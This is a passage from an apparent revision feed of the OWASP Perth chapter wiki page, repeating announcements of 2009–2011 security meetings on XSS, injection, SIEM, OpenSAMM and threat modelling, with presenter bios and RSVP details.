There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=111080</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=111080"/>
				<updated>2011-05-26T01:06:11Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: shifted last night's ANZTB meeting into Previous meetings.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
Watch this space!&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ - The Sequel (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
Missed the 2010 AISA Techday session? Haven't made it out to an OWASP event lately? David and Christian are happy to be presenting their updated presentation, including live demos, on the impacts of web application security vulnerabilities at the upcoming Australia / New Zealand Testing Board (ANZTB) SIGIST meeting!&lt;br /&gt;
&lt;br /&gt;
=== Cross-site scripting: You don’t always know who the actors are (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
So the time has come. Your company has finally approved the project to update your online web presence. A brand new, whiz-bang Content Management System is being deployed and your developers are frantically coding away to prepare a whole batch of fresh new content. Before you realise it, the delivery date is a week away and you have some security guy screaming at you about cross-site scripting issues!&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting? So what.&lt;br /&gt;
&lt;br /&gt;
Does this experience sound familiar to you?&lt;br /&gt;
&lt;br /&gt;
In this session Christian Frichot will spend some time dissecting this common web application vulnerability, and just how serious its impacts can be. Exploitation of cross-site scripting is no longer just within the realm of nerdy, hacker types, new (and old) tools out there allow this trivial vulnerability to be used for so much more, including keystroke logging, and even forcing your iPhone to dial a number via Skype. For those facing these issues there are plenty of resources which can help, and Christian will cover these as well.&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ (December 2010) ===&lt;br /&gt;
&lt;br /&gt;
The Perth branch of the Australian Information Security Association is pleased to announce details for the second annual Perth AISA Tech day to be held on the 3rd December. This year we are holding the event in the heart of Perth’s CBD thanks to proud AISA supporters L7 Solutions.&lt;br /&gt;
&lt;br /&gt;
Appearing for their second consecutive year, regular AISA and OWASP members Christian and David are following on from last year’s topic. Last year you will remember that the demonstrated a number of classes of vulnerabilities in web applications (XSS, CSRF, SQL Injection etc.). This year they are going to show how relatively minor vulnerabilities can be exploited and leveraged to do ‘very bad things’ ™ to the client browser, the web server or both. &lt;br /&gt;
&lt;br /&gt;
This session will include demonstrations of the BeEF browser exploitation framework and Metasploit.&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection (September 2010) ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=110842</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=110842"/>
				<updated>2011-05-20T11:45:56Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Shifted SecAU session to previous meetings, and added content for upcoming ANZTB&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ - The Sequel (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
Missed the 2010 AISA Techday session? Haven't made it out to an OWASP event lately? David and Christian are happy to be presenting their updated presentation, including live demos, on the impacts of web application security vulnerabilities at the upcoming Australia / New Zealand Testing Board (ANZTB) SIGIST meeting!&lt;br /&gt;
&lt;br /&gt;
[http://www.anztb.org/calendarinfo.php?eventID=86&amp;amp;cityID=7 ANZTB Event]&lt;br /&gt;
&lt;br /&gt;
Seats are limited so RSVPing is important!&lt;br /&gt;
&lt;br /&gt;
 Date: Wednesday 25th May 2011&lt;br /&gt;
 Time: 5:30pm - 7:30pm&lt;br /&gt;
 Location: Holiday Inn, Perth, 778-788 Hay Street, Banksia Room&lt;br /&gt;
 RSVP: [mailto:rsvp@anztb.org rsvp@anztb.org]&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Cross-site scripting: You don’t always know who the actors are (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
So the time has come. Your company has finally approved the project to update your online web presence. A brand new, whiz-bang Content Management System is being deployed and your developers are frantically coding away to prepare a whole batch of fresh new content. Before you realise it, the delivery date is a week away and you have some security guy screaming at you about cross-site scripting issues!&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting? So what.&lt;br /&gt;
&lt;br /&gt;
Does this experience sound familiar to you?&lt;br /&gt;
&lt;br /&gt;
In this session Christian Frichot will spend some time dissecting this common web application vulnerability, and just how serious its impacts can be. Exploitation of cross-site scripting is no longer just within the realm of nerdy, hacker types, new (and old) tools out there allow this trivial vulnerability to be used for so much more, including keystroke logging, and even forcing your iPhone to dial a number via Skype. For those facing these issues there are plenty of resources which can help, and Christian will cover these as well.&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ (December 2010) ===&lt;br /&gt;
&lt;br /&gt;
The Perth branch of the Australian Information Security Association is pleased to announce details for the second annual Perth AISA Tech day to be held on the 3rd December. This year we are holding the event in the heart of Perth’s CBD thanks to proud AISA supporters L7 Solutions.&lt;br /&gt;
&lt;br /&gt;
Appearing for their second consecutive year, regular AISA and OWASP members Christian and David are following on from last year’s topic. Last year you will remember that the demonstrated a number of classes of vulnerabilities in web applications (XSS, CSRF, SQL Injection etc.). This year they are going to show how relatively minor vulnerabilities can be exploited and leveraged to do ‘very bad things’ ™ to the client browser, the web server or both. &lt;br /&gt;
&lt;br /&gt;
This session will include demonstrations of the BeEF browser exploitation framework and Metasploit.&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection (September 2010) ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=107445</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=107445"/>
				<updated>2011-03-24T08:11:30Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated with the May 2011 presentation at SecAU&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
=== Cross-site scripting: You don’t always know who the actors are (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
OWASP Perth is pleased to be presenting at [http://www.secau.org/ SecAU's] May 2011 Security: Special Interest Group meeting.&lt;br /&gt;
&lt;br /&gt;
==== The Brief ====&lt;br /&gt;
&lt;br /&gt;
So the time has come. Your company has finally approved the project to update your online web presence. A brand new, whiz-bang Content Management System is being deployed and your developers are frantically coding away to prepare a whole batch of fresh new content. Before you realise it, the delivery date is a week away and you have some security guy screaming at you about cross-site scripting issues!&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting? So what.&lt;br /&gt;
&lt;br /&gt;
Does this experience sound familiar to you?&lt;br /&gt;
&lt;br /&gt;
In this session Christian Frichot will spend some time dissecting this common web application vulnerability, and just how serious its impacts can be. Exploitation of cross-site scripting is no longer just within the realm of nerdy, hacker types, new (and old) tools out there allow this trivial vulnerability to be used for so much more, including keystroke logging, and even forcing your iPhone to dial a number via Skype. For those facing these issues there are plenty of resources which can help, and Christian will cover these as well.&lt;br /&gt;
&lt;br /&gt;
[http://www.secau.org/wp-content/uploads/2011/03/flyer-2011-5-Cross-site-scripting-you-dont-always-know-who-the-actors-are-WEB.pdf The Brochure]&lt;br /&gt;
&lt;br /&gt;
 Date: Wednesday 18th of May, 2011&lt;br /&gt;
 Time: 3:00 - 4:00 pm (Refreshments from 4:00pm)&lt;br /&gt;
 Location: ECU Mount Lawley Campus, Building 17, Room 17.103&lt;br /&gt;
 RSVP: Lisa McCormack on 6304 5176 or [mailto:l.mccormack@ecu.edu.au l.mccormack@ecu.edu.au]&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ (December 2010) ===&lt;br /&gt;
&lt;br /&gt;
The Perth branch of the Australian Information Security Association is pleased to announce details for the second annual Perth AISA Tech day to be held on the 3rd December. This year we are holding the event in the heart of Perth’s CBD thanks to proud AISA supporters L7 Solutions.&lt;br /&gt;
&lt;br /&gt;
Appearing for their second consecutive year, regular AISA and OWASP members Christian and David are following on from last year’s topic. Last year you will remember that the demonstrated a number of classes of vulnerabilities in web applications (XSS, CSRF, SQL Injection etc.). This year they are going to show how relatively minor vulnerabilities can be exploited and leveraged to do ‘very bad things’ ™ to the client browser, the web server or both. &lt;br /&gt;
&lt;br /&gt;
This session will include demonstrations of the BeEF browser exploitation framework and Metasploit.&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection (September 2010) ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
